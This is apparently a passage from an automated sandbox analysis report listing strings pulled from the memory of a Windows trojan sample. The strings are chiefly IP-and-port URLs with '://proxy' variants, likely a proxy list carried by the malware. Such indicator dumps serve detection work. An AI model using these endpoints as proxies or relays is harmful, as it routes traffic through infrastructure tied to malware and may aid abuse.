Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.182.58.64:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.182.58.64:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.182.59.12:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.182.59.12:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.182.59.165:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.182.59.165:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.202.159.108
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.202.159.108://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.202.159.108:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75F4000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.231.221.180:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.231.221.180:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.25.116.228:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.25.116.228:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6C9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.30.154.171:7777
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6C9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://123.30.154.171:7777://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.105.55.176:30906
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.105.55.176:30906://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.106.116.34:1337
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.106.116.34:1337://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC5CF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.109.22.174:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.109.22.174:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.121.95.244:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.121.95.244:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.158.182.34:10808
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.158.182.34:10808://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.158.182.34:7654
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.158.182.34:7654://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.160.118.183:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.160.118.183:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.163.236.54:7302
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.163.236.54:7302://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.222.119.189:2080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.222.119.189:2080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.41.213.174:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.41.213.174:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.6.155.170:3130
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.6.155.170:3130://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.71.131.192:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://124.71.131.192:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C646E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.122.26.242:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C646E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.122.26.242:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.141.133.98:5566
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.141.133.98:5566://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.141.151.83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.141.151.83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.141.151.83:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.19.99.90:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.19.99.90:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA69F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.212.225.132:16355
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.212.225.132:16355://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.227.225.157:3389
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.227.225.157:3389://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.228.143.207:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.228.143.207:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.228.77.228:1081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.228.77.228:1081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FC8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.228.94.199:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.228.94.199:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.229.149.168:65100
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.229.149.168:65100://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.229.149.168:65110
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.229.149.168:65110://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.229.149.169:65110
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.229.149.169:65110://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77D1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.25.32.228:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.25.32.228:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.25.40.38:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.25.40.38:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.25.40.41:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.25.40.41:32650://proxyHJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9536000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.25.43.202:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.25.43.202:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9085000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.25.82.48:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.25.82.48:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.26.4.221:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.26.4.221:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.27.10.84:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.27.10.84:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90F5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.46.179.58:44844
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.46.179.58:44844://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.82.86:3256
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.82.86:3256://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.83.186:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.83.186:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.85.40:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.85.40:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.86.119:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.86.119:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.86.19:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.86.19:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.89.228:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.89.228:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.90.216:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.90.216:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.91.164:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.91.164:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.91.248:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.87.91.248:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.94.219.96:9091
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://125.94.219.96:9091://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.7
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.7://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.127.94.160:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.127.94.160:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.104.190:41354
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.104.190:41354://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC5C7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.149.20:64830
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC5C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.149.20:64830://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.196.31:14602
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.196.31:14602://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.196.31:24034
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.196.31:24034://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.196.31:33661
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.196.31:33661://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.196.31:4953
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.196.31:4953://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.202.122:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.202.122:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.204.169:1337
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C93EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.204.169:1337://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:12259
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:12259://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:26789
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:26789://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:29603
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:29603://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:33383
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:33383://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A72000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA7BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:64579
